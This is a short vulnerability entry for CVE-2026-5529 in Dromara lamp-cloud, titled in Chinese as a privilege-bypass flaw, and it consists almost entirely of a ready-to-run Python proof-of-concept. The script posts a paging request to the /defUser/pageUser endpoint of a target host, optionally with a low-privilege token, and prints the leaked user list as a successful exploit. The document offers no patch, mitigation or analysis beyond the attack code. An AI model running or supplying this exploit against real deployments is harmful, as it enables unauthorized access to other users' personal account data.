CVE-2026-5529 Dromara lamp-cloud 权限绕过漏洞

import requests # PoC for CVE-2026-5529: Improper Authorization in Dromara lamp-cloud # Target: /defUser/pageUser target_url = "http://target-host:port/defUser/pageUser" # Headers simulating a low-privilege user request headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/json", # "Authorization": "Bearer <low_privilege_token>" # Use if token is required } # Payload to request user list payload = { "current": 1, "size": 10, "account": "", "nickname": "" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit Successful! Sensitive user data leaked:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")